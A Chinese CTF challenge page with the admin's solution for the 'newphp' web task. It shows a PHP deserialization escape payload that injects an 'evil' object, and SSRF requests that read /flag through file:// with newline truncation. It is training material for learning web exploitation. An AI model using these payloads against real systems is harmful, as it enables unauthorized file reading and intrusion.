newphp

平台   WEB   已通过

题目作者: xluo

一　　血: ‌‌‌‌‌lastsward

一血奖励: 3金币

解　　决: 893

提　　示:

描　　述: flag{}

站长题解:

class evil {
	public $hint = 'hint.php';
}
echo serialize(new evil());

O:4:"evil":1:{s:4:"hint";s:8:"hint.php";}

class User {
	public $username = "admin";
	public $password = 'O:4:"evil":1:{s:4:"hint";s:8:"hint.php";}';
}
echo serialize(new User());

O:4:"User":2:{s:8:"username";s:5:"admin";s:8:"password";s:41:"O:4:"evil":1:{s:4:"hint";s:8:"hint.php";}";}

因为这部分的长度是23，每一个\0\0\0可以逃逸3个字符，所以在传password的时候要多加一个字符，凑够24,同时username传入24个\0。

payload 如下

username=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&password=1";O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}

post之后得到一串base64编码 PD9waHAKICRoaW50ID0gImluZGV4LmNnaSI7CiAvLyBZb3UgY2FuJ3Qgc2VlIG1lfgo=，解码得到

<?php
$hint = "index.cgi";
// You can't see me~

结合提示，可知是SSRF漏洞，利用伪协议读取flag（注意要截断一下，用空格或%0A）

/index.cgi?name=%0Afile:///flag 

/index.cgi?name= file:///flag

去做题